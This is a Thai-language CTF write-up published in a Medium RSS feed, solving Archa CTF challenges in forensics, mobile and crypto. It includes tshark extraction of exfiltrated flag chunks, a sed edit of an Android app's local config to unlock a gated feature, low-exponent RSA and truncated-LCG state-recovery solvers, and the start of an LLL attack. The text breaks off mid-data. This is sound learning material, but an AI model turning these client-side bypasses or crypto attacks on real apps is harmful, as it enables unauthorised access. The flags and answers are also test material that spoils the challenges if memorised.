<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mc4minta on Medium]]></title>
        <description><![CDATA[Stories by Mc4minta on Medium]]></description>
        <link>https://medium.com/@mc4minta?source=rss-562565b0d666------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*gNQc9SU-_UPpN2i-</url>
            <title>Stories by Mc4minta on Medium</title>
            <link>https://medium.com/@mc4minta?source=rss-562565b0d666------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 17:51:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mc4minta/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Writesup Archa CTF | Mc4minta]]></title>
            <link>https://medium.com/@mc4minta/writes-up-archa-ctf-mc4minta-3a27eb579f0d?source=rss-562565b0d666------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a27eb579f0d</guid>
            <dc:creator><![CDATA[Mc4minta]]></dc:creator>
            <pubDate>Fri, 09 Jan 2026 17:35:25 GMT</pubDate>
            <atom:updated>2026-01-18T13:01:31.472Z</atom:updated>
            <content:encoded><![CDATA[<p>Team: พลังม้าอาชาศาล</p><p>writeup ข้ออื่นๆ จากเพื่อนร่วมทีมจะอยู่ท้าย blog นี้</p><p>Date: 3–5 January 2025</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3RcfjY7zM-mjlRcD" /></figure><h3>Problem List:</h3><ul><li><a href="https://medium.com/@mc4minta/writes-up-archa-ctf-mc4minta-3a27eb579f0d#39b6">WELCOME! [MISC]</a></li><li><a href="https://medium.com/@mc4minta/writes-up-archa-ctf-mc4minta-3a27eb579f0d#cf90">Network Security I [NETSEC]</a></li><li><a href="https://medium.com/@mc4minta/writes-up-archa-ctf-mc4minta-3a27eb579f0d#5fb3">Network Security ACT II [NETSEC]</a></li><li><a href="https://medium.com/@mc4minta/writes-up-archa-ctf-mc4minta-3a27eb579f0d#ac9a">Network Security ACT III [NETSEC]</a></li><li><a href="https://medium.com/@mc4minta/writes-up-archa-ctf-mc4minta-3a27eb579f0d#d50e">PwnKnight: Dungeon of Darkness [MOBILE]</a></li><li><a href="https://medium.com/@mc4minta/writes-up-archa-ctf-mc4minta-3a27eb579f0d#e6de">Archa supersonic [FORENSICS]</a></li><li><a href="https://medium.com/@mc4minta/writes-up-archa-ctf-mc4minta-3a27eb579f0d#bffc">Leak LCG [CRYPTO]</a></li><li><a href="https://medium.com/@mc4minta/writes-up-archa-ctf-mc4minta-3a27eb579f0d#f363">Baby LLL [CRYPTO]</a></li></ul><h3>WELCOME!</h3><h4><strong>Description</strong></h4><blockquote>WELCOME TO ARCHA CTF NICE TO MEET YOU: อยู่ใน Announcement Discord ลองเข้าไปหาดูสิ : )</blockquote><p>เมื่อเปิดดิสคอร์ดมาจะเจอกับ Key และ Flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rgmbcmD3S368l2CATdegSA.png" /></figure><pre># Key<br>TVRFeE1EQXdNREFnTVRBeE1URXdNREFnTVRBeE1EQXdNREVnTVRFeE1EQXdNREFnTVRBeE1URXdNREVnTVRBd01ERXdNREVnTVRFeE1EQXdNREFnTVRBeE1URXdNREFnTVRBeE1UQXdNVEE9<br><br># Flag<br>5/ZgWtrN9cS08FwZF2aaxhBXsf4+2PvWvHRWSvdvdYg=</pre><p>ลองเอาทั้ง Key ไป Decode จะได้ คำว่า “ม้า” โดยใช้ method คือ From Base64 &gt; From Base64 &gt; From Binary และ ข้อความที่อ่านไม่ออก</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8-hHo8Rbev4SYgfpJd2XQw.png" /></figure><p>ส่วน Flag เมื่อ Decode แล้วจะอ่านไม่ออก</p><p>Flag ข้อนี้จะได้มาจากการนำ Key คือ ม้า ไปถอดรหัส aes256</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kGzTbv_m_nQa51gP9f4woA.png" /></figure><p><strong>We got the flag:</strong></p><p>ARCHA{W3LC0M3_T0_4RCH4_CTF}</p><h3>Network Security I</h3><h4>Description</h4><blockquote>DNS Poisoned Flag 12,500 DNS queries. Only a few contain base64-encoded chunks. Reconstruct and decode.</blockquote><p>เมื่อโหลดไฟล์ .pcap มาเปิดดูจะพบกับ DNS query เยอะมากๆ เมื่อลอง search ดู string ว่า archa ก็จะเจอกับ packet ที่มีเขียนว่า flag part 3</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X2jL83S68OfWpYbfGT7AKQ.png" /></figure><p>เราเลยใช้ tshark ในการ extract dns query ที่มีคำว่า part ออกมา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*0sKAjIHZHXa92sXDOIp3AQ.png" /></figure><pre>bDF2M30=.part3.exfil.archa.ctf<br>QVJDSEF7ZG5zX2I2NF9l.part1.exfil.archa.ctf<br>eGYxbF8xc19zdDFsbF80.part2.exfil.archa.ctf</pre><p>นำมาเรียงแล้ว decode base 64 ก็จะได้ flag ออกมา</p><pre>QVJDSEF7ZG5zX2I2NF9leGYxbF8xc19zdDFsbF80bDF2M30=</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XG8Heji9Dx3m95Mg9QprVA.png" /></figure><p><strong>We got the flag:</strong></p><p>ARCHA{dns_b64_exf1l_1s_st1ll_4l1v3}</p><h3>Network Security ACT II</h3><h4>Description</h4><blockquote>Secret TLS 150+ TLS handshakes on port 443. One of them leaks the flag in plaintext Application Data.</blockquote><p>เปิดไฟล์ .pcap เข้ามาก็เห็น packet ที่มีเหมือน hex บางอย่างเตะตาอยู่</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ejn00zFe721xdpH7ikxLsw.png" /></figure><p>เมื่อลอง Follow tcp stream ดูก็จะเจอว่ามีสองอันที่มี hex อยู่ในช่อง data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L9roS_yyqhKHzMvDorw4HQ.png" /></figure><p>ใช้ tshark extract ช่อง data ออกมาจากนั้นนำไป decode from hex ก็จะได้ flag</p><pre>┌──(mc4minta㉿MiN-LAPTOP-U957S6IG)-[/mnt/…/Users/admin/Downloads/Network Security II]<br>└─$ tshark -r Secret_TLS.pcap \<br>-Y &quot;tcp.stream == 134&quot; \<br>-T fields -e data.data<br>464c414750415254303151564a445345463756457854583139694e6a52665a58686d4d577866454e4450415254<br>464c41475041525430324d584e666447677a5833417a636d597a59335266647a523566513d3d454e4450415254</pre><pre># Hex<br>464c414750415254303151564a445345463756457854583139694e6a52665a58686d4d577866454e4450415254<br>464c41475041525430324d584e666447677a5833417a636d597a59335266647a523566513d3d454e4450415254<br><br># Base64<br>FLAGPART01QVJDSEF7VExTX19iNjRfZXhmMWxfENDPART<br>FLAGPART02MXNfdGgzX3AzcmYzY3RfdzR5fQ==ENDPART<br><br># Base64 Cleaned<br>QVJDSEF7VExTX19iNjRfZXhmMWxfMXNfdGgzX3AzcmYzY3RfdzR5fQ==<br><br># Base64 Decoded<br>ARCHA{TLS__b64_exf1l_1s_th3_p3rf3ct_w4y}</pre><p><strong>We got the flag:</strong></p><p>ARCHA{TLS__b64_exf1l_1s_th3_p3rf3ct_w4y}</p><h3>Network Security ACT III</h3><h4>Description</h4><blockquote>Quarterly Report of Doom An innocent-looking Excel file was downloaded. It contains another Excel… which contains another… and the deepest one holds the flag.</blockquote><p>พอเปิดไฟล์มาจะเห็นว่ามีการ request ไฟล์ pdf เยอะมาก แต่โจทย์บอกใบ้อะไรสักอย่างเกี่ยวกับไฟล์ Excel</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sml1YuoeUMSXEldXHG3Tig.png" /></figure><p>ลอง Export Objectดูจะเจอกับไฟล์ Excel จริงๆ ก็เซฟมา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*KyQP3rjHKHzNYEya3fQcKg.png" /></figure><p>พอเปิดดูไม่เจออะไรเลย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xa7MlE_1VKlNVDq_RWCzng.png" /></figure><p>กลับไปอ่านคำใบ้ “It contains another Excel… which contains another…” เลยลองใช้ 7zip extract ดู</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*1p0Rdth3aeNjt3SgdNSV8w.png" /></figure><p>เข้ามาที่ไฟล์ xl/sharedStrings.xml จะเจอกับ Flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*d3hSSpAnJM85th67ByOyFg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*YC2oDwNmuqL47Ur20zL4PA.png" /></figure><p><strong>We got the flag:</strong></p><p>ARCHA{3xc3l_1n_3xc3l_1n_3xc3l_ftw_900d}</p><h3>PwnKnight: Dungeon of Darkness</h3><h4>Description</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oBRGPROPu2fw2xXbupEVKg.png" /></figure><blockquote>PwnKnight: Dungeon of Darkness The Abyssal Kingdom was an empire of flawless logic until the Demon of Corruption arrived. Using “Forbidden Logic,” it distorted the world’s rules, creating dungeons that were actually fractures in the world’s system. The Knight Who Believed in Flaws In the darkness, only PwnKnight believed that “Every system has a flaw.” He relied on intellect and observation to question the laws of the world. One day, he was summoned by the keeper of rules, Archmage Rootwell. Act I: Hidden in Plain Sight Rootwell revealed that the Princess was taken by the Demon to rewrite the world itself. PwnKnight’s first mission was not battle, but to find a hidden path. Rootwell warned: “Some truths are not hidden behind doors, but behind conditions. The answer may be closer than you expect.”</blockquote><blockquote>Hint: Local storage<br>APK : <a href="https://bucket.dropctf.live/PWNKnight.apk">PWNKnight.apk</a></blockquote><p>ข้อนี้โจทย์ให้ไฟล์ apk มาอย่างแรกที่เราลองคือนำไปเข้า JADX GUI แต่ไม่ค่อยเจออะไรเท่าไหร่ ก็เลยลองใช้ adb shell ดู</p><p>install และเปิดแอพขึ้นมาก็จะเจอตัวเกมโดยจะมีเป็นพ่อมดคนนึงอยู่ พอไปคุยด้วยก็จะเจอปุ่ม secret shop ที่ตอนนี้ยังเข้าไม่ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*tmUNTedhx33RVcji_OEkiQ.png" /></figure><p>ลองเข้าไปดู local storage ของตัวแอพจะเจอไฟล์ชื่อ config.js ซึ่งเขียนว่า</p><pre>{<br>  &quot;secret_shop_enabled&quot;:false<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*B5lpwQshV0nPwa2Y2foypQ.png" /></figure><p>ลองแก้เป็น true ดูก็จะเข้า secret shop ได้แต่ติด key อยู่</p><pre>sed -i &#39;s/&quot;secret_shop_enabled&quot;:false/&quot;secret_shop_enabled&quot;:true/&#39; config.json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*sQWnCnQYAPsoY4PBeg5LLQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*xdJoNEnRQBh6X-hNv6i3bQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*TEkZSOqXfC2rRtlacDmKuw.png" /></figure><p>เมื่อลอง logcat ดูจะเห็นว่าตอนที่เรากด speak กับพ่อมดจะมีอะไรบางอย่างโผล่มา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2b3bijHcRgXKjWrABqg2iQ.png" /></figure><pre>N = 74917606985953983062051223954168193040560498591017908982974322212505542340829<br>e = 3<br>c = 50458391191210951840785688117882414254936530808734615225959682389228052166855<br><br>r = 751874673853626022<br>B = 100000000<br>m = r * B + x</pre><p>เป็น RSA ที่มี e ต่ำมากจึงถูก crack ได้ จะได้ x ออกมาคือ “83721910” ใส่ key เพื่อเข้าไปซื้อ Flag แล้วเปิด inventory ดูก็จะได้ flag ข้อนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*KF6yoj3j9O4g7dg5w0LheQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*voRDtmJ-WEy3sjtBnVZI1g.png" /></figure><p><strong>We got the flag:</strong></p><p>ARCHA{s3cr37_sh0p_n07_s0_s3cr378144c2cb}</p><h3>Archa supersonic</h3><h4>Description</h4><blockquote>ตุบตับ ตุบตับ ตุบตับ คือเสียงอะไรกันน่ะ เนื่องจากท่านจอมยุทธ์ ให้ฝึกฝนวิชาจน ไม่ค่อยได้ยินเสียงผู้คน สามารถได้ยินแต่เสียงคลื่น โดยเสียงนี้มาจากนาย อมองนุด เขาได้ส่งรูปผ่านไฟล์เสียงมาให้ ท่านจอมยุทธ์ดู จงวิเคราะห์ไฟล์ และดูว่าไฟล์ เสียงนี้กำลังสื่อถึงอะไรกันแน่<br>Hint 1: 0 1 0 1 0 1 คืออะไรกันน่ะแล้วทำไมเสียงมัน ตุบ ตับ ตุบ ตับ<br>Hint 2: run-length of constant segments คืออะไรน่ะท่านจอมยุทธ์ก็ไม่รู้เหมือนกันช่วยแปลให้หน่อยท่านจอมยุทธ์ไม่เก่งภาษาอังกฤษ<br>Hint 3: ห.ร.ม คืออะไรท่านจอมยุทธ์จำได้ว่าเคยเรียนตอนป.5 เนื่องจากท่านจอมยุทธ์ต้องเรียนมาจะได้มาแบ่งขนมกับพี่ของท่านจอมยุทธ์ได้<br>Hint 4: สุดท้ายแล้วมันจะออกมาเป็นรูปอะไรน่ะ แต่มันสามารถสแกนได้<br>Hint 5: Comment คืออะไรน่ะท่านจอมยุทธ์ พิมพิ์จนสะกดไม่ถูกแล้ววว</blockquote><p>เอาเสียงไปเปิดดูใน audacity จะเห็นว่ามันเป็นขึ้นลงๆ มองดูคล้ายๆ 1010 ตามคำใบ้ข้อหนึ่ง ลองหาทางแปลงเป็น binary ดู</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_MXAkR6ohvW2M9rkvjtA4g.png" /></figure><p>ใช้ python นี้เพื่อลองเช็คดูแอมพลิจูดของตัวเสียงดูจะพบว่าอยู่ใน range -0.45,0,0.45</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*lV_VnE-k1zIHPVJAWVy1wQ.png" /></figure><p>ให้มองว่า -0.45 เป็น ลบ และ 0.45 เป็น + มองเป็นสัญญาณ digital และตัดช่วงที่เป็น 0 ออกคือตอนที่สัญญาณอยู่ตรงกลางไม่ได้ peak บน หรือ peak ล่าง</p><p>ทีนี้เวลามัน 1111 หรือ 0000 มันจะติดกันเป็นพรืด เราจึงต้องมาหาว่า 1 หรือ 0 หนึ่งครั้งมันยาวเท่าไหร่ จะได้ตัดออกมาถูกเพื่อให้กลายเป็น binary แบบไฟนอล</p><p>ลองดูซิว่าที่ติดกันแต่ละครั้งมันยาวกี่ sample หลังจากนั้นก็หา หรม. หรือดูว่ามันหารอะไรลงตัวเหมือนกันหมดแบบมากที่สุด พอหารออกมาจะได้ 512</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*h3nqkiruooHj1bWeUAEolQ.png" /></figure><p>เอามาแบ่งด้วย 512 ตามที่รู้มาก็จะได้เป็นเหมือนกับ array ของ 1 0 1 ละ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*LC0CjSySBQ1f9x0YCbI9iw.png" /></figure><p>จากนั้นก็สร้าง QR code ออกมาโดย map ขาวดำตามตัว array ที่เราได้</p><p>ลองสแกนไปเรื่อยๆ จนกว่าจะได้ โดยสร้างและ bruteforce ตัวขนาดและ offset</p><p>โดยโค้ดที่ใช้ solve หา QR แบบไฟนอลจะเป็นโค้ดนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*KO5VEJiZaWs1wfxAPGXkjg.png" /></figure><pre>import wave<br>import numpy as np<br>from math import gcd<br>from functools import reduce<br>from PIL import Image<br><br># =========================<br># CONFIG<br># =========================<br>WAV_PATH = &quot;challenge.wav&quot;<br>OUT_PNG  = &quot;decoded_qr.png&quot;<br>QR_MIN   = 21<br>QR_MAX   = 177<br>QR_STEP  = 4<br>MAX_SKIP = 30<br>UPSCALE  = 10<br><br><br># =========================<br># WAV → samples<br># =========================<br>with wave.open(WAV_PATH, &quot;rb&quot;) as w:<br>    nframes = w.getnframes()<br>    nch = w.getnchannels()<br>    sr = w.getframerate()<br>    raw = w.readframes(nframes)<br><br>print(&quot;[*] sample_rate =&quot;, sr)<br>print(&quot;[*] channels    =&quot;, nch)<br><br>data = np.frombuffer(raw, dtype=np.int16)<br>if nch &gt; 1:<br>    data = data[::nch]<br><br>x = data.astype(np.float64) / 32768.0<br>print(&quot;[*] amplitude range:&quot;, x.min(), x.max())<br><br><br># =========================<br># Quantize (+ / 0 / -)<br># =========================<br>peak = np.max(np.abs(x))<br>TH = peak * 0.2<br><br>q = np.zeros_like(x, dtype=np.int8)<br>q[x &gt;  TH] =  1<br>q[x &lt; -TH] = -1<br><br>print(&quot;[*] quantized states:&quot;, np.unique(q))<br><br><br># =========================<br># Remove zeros<br># =========================<br>sig = q[q != 0]<br>print(&quot;[*] signal length:&quot;, len(sig))<br><br><br># =========================<br># Run-length encoding<br># =========================<br>values = []<br>lengths = []<br><br>cur = sig[0]<br>cnt = 1<br>for v in sig[1:]:<br>    if v == cur:<br>        cnt += 1<br>    else:<br>        values.append(int(cur))<br>        lengths.append(int(cnt))<br>        cur = v<br>        cnt = 1<br><br>values.append(int(cur))<br>lengths.append(int(cnt))<br><br>print(&quot;[*] runs =&quot;, len(values))<br><br><br># =========================<br># GCD → base unit<br># =========================<br>base = reduce(gcd, lengths)<br>print(&quot;[*] GCD / base unit =&quot;, base)<br><br>if any(l % base != 0 for l in lengths):<br>    raise RuntimeError(&quot;Run-length not divisible by GCD — adjust threshold&quot;)<br><br>units = [l // base for l in lengths]<br>print(&quot;[*] first 20 units:&quot;, units[:20])<br><br><br># =========================<br># RLE → Image<br># =========================<br>def build_image(values, units, size, invert=False, skip=0):<br>    img = Image.new(&quot;1&quot;, (size, size), 1)<br>    px = img.load()<br>    x = y = 0<br><br>    for val, u in zip(values[skip:], units[skip:]):<br>        bit_black = (val == 1)<br>        if invert:<br>            bit_black = not bit_black<br>        color = 0 if bit_black else 1<br><br>        for _ in range(u):<br>            if y &gt;= size:<br>                return img<br>            px[x, y] = color<br>            x += 1<br>            if x &gt;= size:<br>                x = 0<br>                y += 1<br>    return img<br><br><br>def save_big(img, path):<br>    img.resize(<br>        (img.size[0] * UPSCALE, img.size[1] * UPSCALE),<br>        Image.NEAREST<br>    ).save(path)<br><br><br># =========================<br># Try QR decode (optional)<br># =========================<br>def try_decode(img):<br>    try:<br>        from pyzbar.pyzbar import decode<br>    except Exception:<br>        return None<br><br>    res = decode(img.convert(&quot;L&quot;))<br>    if not res:<br>        return None<br>    return res[0].data.decode(errors=&quot;replace&quot;)<br><br><br># =========================<br># Brute-force QR<br># =========================<br>best_guess = None<br><br>for size in range(QR_MIN, QR_MAX + 1, QR_STEP):<br>    for invert in (False, True):<br>        for skip in range(MAX_SKIP + 1):<br>            img = build_image(values, units, size, invert, skip)<br>            text = try_decode(img)<br><br>            if text:<br>                save_big(img, OUT_PNG)<br>                print(&quot;\n[+] QR FOUND!&quot;)<br>                print(&quot;    size   =&quot;, size)<br>                print(&quot;    invert =&quot;, invert)<br>                print(&quot;    skip   =&quot;, skip)<br>                print(&quot;    text   =&quot;, text)<br>                print(&quot;    saved  =&quot;, OUT_PNG)<br>                exit(0)<br><br>            if best_guess is None and size == 41 and not invert and skip == 0:<br>                best_guess = img<br><br><br># =========================<br># Fallback<br># =========================<br>print(&quot;\n[!] Auto decode failed (likely no pyzbar).&quot;)<br>print(&quot;[*] Saving best guess (41x41). Scan manually.&quot;)<br><br>save_big(best_guess, OUT_PNG)<br>print(&quot;[*] saved =&quot;, OUT_PNG)</pre><p>ได้ QR code ออกมาเป็นภาพนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*D8i91DcwseWTxVd-5z-QAQ.png" /></figure><p>เมื่อสแกนดูจะได้ลิงค์ youtube ของ channel นึงมา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y07AWNhWgfo8HZA8vU2VTQ.png" /></figure><pre>https://www.youtube.com/channel/UCFSr9itoRhZebseKctXnKJA</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*IiwvGpGOgxpqDNCfypI4CA.png" /></figure><p>ลองไปดูที่ตัวลิงค์เพลงของ ANATOMY RABBIT และดูในคอมเมนต์โดยเรียงจากล่าสุดก็จะเจอ Flag แล้ว</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*vo1RozEY7_X3i_98GznTzA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/1*RP-1ZEQTiCtcXR1YDlIggw.png" /></figure><p><strong>We got the flag:</strong></p><p>ARCHA{22d21a21b5032f672bd77a79fc4902af}</p><h3><strong>Leak LCG</strong></h3><h4>Description</h4><blockquote>ตอนนี้ท่านจอมยุทธิ์ ได้ฝึกฝนวิชาคณิตศาสตร์ จนเขาได้บรรลุระดับ ปริญญาเอก และเขาได้ทำ Thesis วิจัยเกี่ยวกับ Algorithm ที่ซับซ้อนมากๆ จนไม่สามารถถอดรหัสออกมาได้ จงพยายามถอดรหัสและนำ Flag มาตอบ</blockquote><p>ข้อนี้ให้โค้ดไพทอนที่เกี่ยวกับ LCG หรือ Linear Congruential Generator ซึ่งมีไว้ใช้ Generate Psuedo Random Number</p><pre>from Crypto.Util.number import bytes_to_long, long_to_bytes<br>from Crypto.Cipher import AES<br>from Crypto.Util.Padding import pad<br>import random<br><br># Parameters<br>m = 2 ** 512<br><br>a = 0x4c43475f6d756c7469706c6965724141<br>b = 0x4c43475f696e6372656d656e74414141<br><br>trunc_bits = 384<br><br># outputs (top 128 bits of each state)<br>y = [<br>    0xed6f12fb7e0feefa492fde90f6c723b4,<br>    0x739d9a04ada00c090ff264c11b0b3c5b,<br>    0x61efebaa305d950329adfe3f8edfc6b0,<br>    0xcf3f6657fc6f481ae7c505d52743bbc8,<br>    0x8f2b72f052a2493c8570ed1c43987800,<br>    0xf5aebd3beca8d9457a6cdfc64fe8189f<br>]<br><br>ciphertext = &#39;903cf809703c7a1e0e055a6e18d4839d63690bec4523e424e40f26ed505e8b793a42b9988a615829c2cf1d232767b802&#39;<br><br># Can you recover the flag?<br># Hint what is LCG Attack?<br># Meaw Meaw Meaw Amongus<br><br># Flag format: ARCHA{...}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/0*z0w2UefgOuE2IN0M" /><figcaption>ในโจทย์ข่อนี้ c คือ m</figcaption></figure><p>LCG คือการใช้ X_0 คือ seed generate ตัว X_n ต่อไปเรื่อยๆ ซึ่งเราจะเรียกว่า state</p><p>ตัวโจทย์ได้มีการ leak top 128 bits ของแต่ละ state มา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*k6THzFXi_KVZQOQd2XrrGQ.png" /></figure><p>โดยเรารู้ว่าแต่ละ state มี 512 bits จากการนำจำนวน trunc_bits (จำนวน bit ที่ถูกตัดออกจาก state) คือ 384 มาบวกกับจำนวน bit ที่ leak มาคือ 128 จะได้ 512 bits</p><p>เราสามารถ recover state ทั้งหมดออกมาได้จากการใช้สิ่งที่ leak มา crack โดยอาศัยหลักการของค่า carry ลองทุกความเป็นไปได้</p><pre>from itertools import product<br><br># =========================<br># Parameters from challenge<br># =========================<br>a = 0x4c43475f6d756c7469706c6965724141<br>b = 0x4c43475f696e6372656d656e74414141<br>trunc_bits = 384<br><br>y = [<br>    0xed6f12fb7e0feefa492fde90f6c723b4,<br>    0x739d9a04ada00c090ff264c11b0b3c5b,<br>    0x61efebaa305d950329adfe3f8edfc6b0,<br>    0xcf3f6657fc6f481ae7c505d52743bbc8,<br>    0x8f2b72f052a2493c8570ed1c43987800,<br>    0xf5aebd3beca8d9457a6cdfc64fe8189f<br>]<br><br>MOD512 = 1 &lt;&lt; 512<br>MOD384 = 1 &lt;&lt; 384<br>MOD128 = 1 &lt;&lt; 128<br><br># =========================<br># Step 1: compute q_i<br># =========================<br>q = [(a * y[i] - y[i + 1]) % MOD128 for i in range(len(y) - 1)]<br><br># =========================<br># Step 2: brute-force carry bits<br># =========================<br>r0 = None<br><br>for carries in product([0, 1], repeat=len(q)):<br>    A = 1<br>    B = 0<br>    ok = True<br><br>    for i, t in enumerate(carries):<br>        # r_{i+1} = a*r_i + b + 2^384*q_i - t*2^512<br>        A = a * A<br>        B = a * B + b + (q[i] &lt;&lt; trunc_bits) - t * MOD512<br><br>    # final constraint: 0 &lt;= A*r0 + B &lt; 2^384<br>    lo = (-B + A - 1) // A<br>    hi = (MOD384 - 1 - B) // A<br><br>    if lo &lt;= hi:<br>        r0 = lo<br>        break<br><br>if r0 is None:<br>    raise RuntimeError(&quot;Failed to recover r0&quot;)<br><br># =========================<br># Step 3: reconstruct x0<br># =========================<br>x0 = (y[0] &lt;&lt; trunc_bits) + r0<br><br># =========================<br># Step 4: extract flag<br># =========================<br>flag_hex = hex(x0 &amp; (MOD128 - 1))[2:].zfill(32)<br>print(&quot;ARCHA{&quot; + flag_hex + &quot;}&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*6IDK7nnOVJpAB1cfUDoWkw.png" /></figure><p><strong>We got the flag:</strong></p><p>ARCHA{2a17fc73cf49ef51b3ecafbe82cd060a}</p><h3>Baby LLL</h3><h4>Description</h4><blockquote>ท่านจอมยุทธิ์ชอบโดดเรียนคาบคณิตศาสตร์ บ่อยครั้งทำได้การสอบครั้งล่าสุดเขาไม่สามารถทำข้อสอบได้ จงช่วยท่านจอมยุทธิ์ในการทำข้อสอบและนำ Flag มาตอบ</blockquote><p>โจทย์ให้โค้ด python chall.py มาโดยมี output มาให้ สไตล์โจทย์ crypto ก็คือให้ reverse output เพื่อเอา Flag ที่ถูกนำมาใช้เข้ารหัสออกมา</p><pre>import os<br>from random import randint<br><br>flag = os.getenv(&quot;FLAG&quot;, &quot;REDACTED&quot;)<br><br>a = []<br>for i in range(len(flag)):<br>    random_value = randint(1, 2**256)<br>    a.append(random_value)<br><br>b = []<br>for char in flag:<br>    ascii_value = ord(char)<br>    b.append(ascii_value)<br><br>c = 0<br>for x, y in zip(a, b):<br>    c += x * y<br><br>print(f&quot;a = {a}&quot;)<br>print(f&quot;c = {c}&quot;)<br><br>&quot;&quot;&quot;<br>a = [25878775379916435970897911104324117011006856760361385819116931899733001450833, 80292504581484214867800448510497344370694961901882526138924856200258642618361, 54562238650714819533763937187273563560029710750904462184907724564346158140237, 30834807956188148036270093508097216410621697681321734280271104176585008500456, 62699684483843141568821365860334495449364228379122394000543140473229327277268, 78207264600798604784668231336291848862236269004769436790862484500415928989233, 61417271296138856704444105651561631254482458731849465466848003479195624991332, 39937245641764977558584951490518070678474274091308961369952432106010903535581, 38840641703645792586373613762052229232815967606884076814152959685214886495381, 106740693940193141087893003657868987966417298694068666845343648046356574018689, 84743061018383714495137289810083081324263004537030634309927940263900468997111, 60806278246354397068527026819371363502195727128451701780855521638296657163922, 39960632873186522641770985852864535176576237112918474308248535474701166932931, 64097163643660178065067139576763334088517224523390803621183172429724677431846, 114285133027270613079875181422794118922554967703167331779563904995170090033805, 89061601538980392180929072852258031870518511326072129517735508403732034503071, 109497245880107084551239056716563802855562585933614126324442322075603482993725, 63686954458072496910992201940932436481031938259424088432500824699653622316043, 100021623353561096459011931417514895295293439030681436367848867818327915003133, 114883990787912260454580419517456004259956645261473795279802857393219605918831, 71653771037370527186419961635116034068896374440180051189487380964719883267110, 91607645087989905993449554235941372492014761353844722410704930252180010806519, 28395936728383531129150159461256196090515745737460852339412603246679200310093, 78744580212206133101659179363885190682622412373183208856460085304775473217763, 775850249176581667952089839616870699525342651195058641544334315836518313201, 106589428030803202052170642987471602626322042957726190127628910207624491687876, 82971573736802740565553026442301125456963760676329174924439049281151933283911]<br>c = 191525132692896166687925155732812051740711134546718181351363049498750742851036131<br>&quot;&quot;&quot;</pre><p>จากชื่อโจทย์ก็จะเห็นได้ว่ามีคำว่า LLL ซึ่งหมายถึงเทคนิคการ Break การเข้ารหัสชนิดหนึ่งคือ Lattice Basis Reduction ให้ ChatGPT เขียนโค้ดใช้เทคนิคนี้ในการ break การเข้ารหัสออกมา ก็จะได้ Flag</p><pre>from fpylll import IntegerMatrix, BKZ<br><br>a = [<br>25878775379916435970897911104324117011006856760361385819116931899733001450833,<br>80292504581484214867800448510497344370694961901882526138924856200258642618361,<br>54562238650714819533763937187273563560029710750904462184907724564346158140237,<br>30834807956188148036270093508097216410621697681321734280271104176585008500456,<br>62699684483843141568821365860334495449364228379122394000543140473229327277268,<br>78207264600798604784668231336291848862236269004769436790862484500415928989233,<br>61417271296138856704444105651561631254482458731849465466848003479195624991332,<br>39937245641764977558584951490518070678474274091308961369952432106010903535581,<br>38840641703645792586373613762052229232815967606884076814152959685214886495381,<br>106740693940193141087893003657868987966417298694068666845343648046356574018689,<br>84743061018383714495137289810083081324263004537030634309927940263900468997111,<br>60806278246354397068527026819371363502195727128451701780855521638296657163922,<br>3996063287318652264177098585286453517657623711291847